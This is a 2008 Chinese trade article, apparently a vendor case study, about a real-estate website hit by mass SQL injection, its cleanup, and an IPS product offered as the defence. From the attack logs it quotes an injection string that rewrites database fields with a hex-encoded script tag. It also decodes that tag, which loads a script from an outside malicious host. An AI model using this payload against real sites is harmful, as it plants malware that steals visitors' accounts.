警惕恶意软件 网站SQL注入防御实战

  • 来源: IT168.com  作者: 岳飞   2008-06-18/15:53
  •      【IT168专稿】SQL注入作为直接威胁web业务的最严重攻击行为,已经被大多数的网站管理员所了解,这种通过HTTP标准端口,利用网页编码不严谨,提交精心构造的代码实现对数据库非授权访问的攻击方法,已经被越来越多的scriptguy(脚本小子)成功掌握并广泛实践。没错,他们可能并不知道SQL注入的原理,不知道ASP,不知道PHP,但他们有工具,全自动的,完善的,高效率的工具,这些工具使得任何一个有简单网络知识的中学学生可以很容易的拿到某个政府网站的最高管理员权限,而且做这些事情并不会比你在周六的中午下楼去买一听可乐要更困难。

        而随着互联网黑色产业链的浮出水面,骇客们发现攻击网站不仅仅可以用作向朋友炫耀的资本,还可以作为购买游戏点卡或者是数码相机的资金来源:在被攻击的网站嵌入脚本木马,可以轻易盗窃那些访问了受攻击网站,但个人PC安全防护措施不全面用户的私密信息,比如游戏账号密码,或者是银行账号密码。

        经常使用google的用户一定对这段话不陌生“该网站可能含有恶意软件,有可能会危害您的电脑”,这意味着这个网站也许已经遭遇挂马黑手,成为骇客们的众多取款点之一。本文就一例真实案例,来介绍一下网站的安全防护。

        某市房地产网站的管理员小李刚上班就被叫到领导办公室去了,因为网站带上了google小尾巴:“该网站可能含有恶意软件,有可能会危害您的电脑”,购房者看到这一提示信息,纷纷给该市房产管理局打电话,于是就有了上面的一幕。回到座位上的小李一筹莫展:网站服务器已经全盘杀毒好几次了,没有发现病毒存在的痕迹,看来只能找专业安全厂商解决了。小李选择的是国内著名的一家网络安全公司启明星辰,在向启明星辰公司提交web日志的第二天,小李就收到了回信,从日志的分析结果中,可以清楚的看到骇客的攻击走向:这是一次非常典型的SQL注入攻击,首先使用dEcLaRe建立游标,遍历数据库中所有允许写入字符串的相关字段,并通过执行exec操作,使用update语句替换了网站页面的正常文件,插入了如下一段十六进制字符:
    exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20f
        经过解密,可以得到如下字符串
        "></title><script src=http://s.see9.us/s.js></script><!—

        这里面的http://s.see9.us/s.js就是导致网站带有小尾巴的罪魁祸首。

        经过一天的奋力工作,网页中所有的小尾巴都清理干净了,在启明星辰安全工程师的建议下,小李还向StopBadware.org 申请了重新的索引,并向google提交了审核申请。做完了这些之后,小李又一次陷入了困扰:如何防范网站再次遭受SQL注入攻击呢?网络上提供了一些代码修改级的防御方法,可是需要对每一个页面都做仔细的检查,看着自己所负责网站的10000余个页面,小李只能是苦笑,联想起2007年夏天那次微软英国网站被SQL注入的案例,小李在内心否认了彻底检查一遍页面代码的做法。关键时刻,又是启明星辰的安全工程师提出了建议:部署天清入侵防御产品,利用天清IPS的基于注入攻击手法的检测原理,可以对各种SQL注入攻击的变种进行防御。和传统的SQL注入防御方法不一样的是,天清入侵防御产品可以独立部署,不需要对被保护的web系统做任何修改,而且和那些基于特征的检测方法不一样的是,天清IPS采用的VSID算法关注的是攻击手法而非攻击代码,其检测准确率有很大改善。

        在部署了入侵防御产品的当天晚上,小李就在入侵防御产品的控制中心看到了发现了SQL注入攻击并被阻断的报警信息,而网站安然无恙。

        友情提示:对于防御SQL注入攻击,检查网页代码是必要的,骇客获得网站权限,并不仅仅为了炫耀,可能还会有更肮脏的目的;其次,你需要做的事是挽回名誉损失,毕竟挂上google小尾巴不是件光荣的事;最后,你绝对不能忘记的事还有修补漏洞,在没有“打扫”干净你的系统前,骇客进出你的网络将会像喝下午茶一样简单,你可以选择修改源代码来过滤关键字(记住不要矫枉过正,笔者就见过不允许用户名叫select/and等SQL关键字的网站),或者是你也可以选择使用专业的IPS产品。


    评论 {{userinfo.comments}}

    {{money}}

    {{question.question}}

    A {{question.A}}
    B {{question.B}}
    C {{question.C}}
    D {{question.D}}
    提交

    驱动号 更多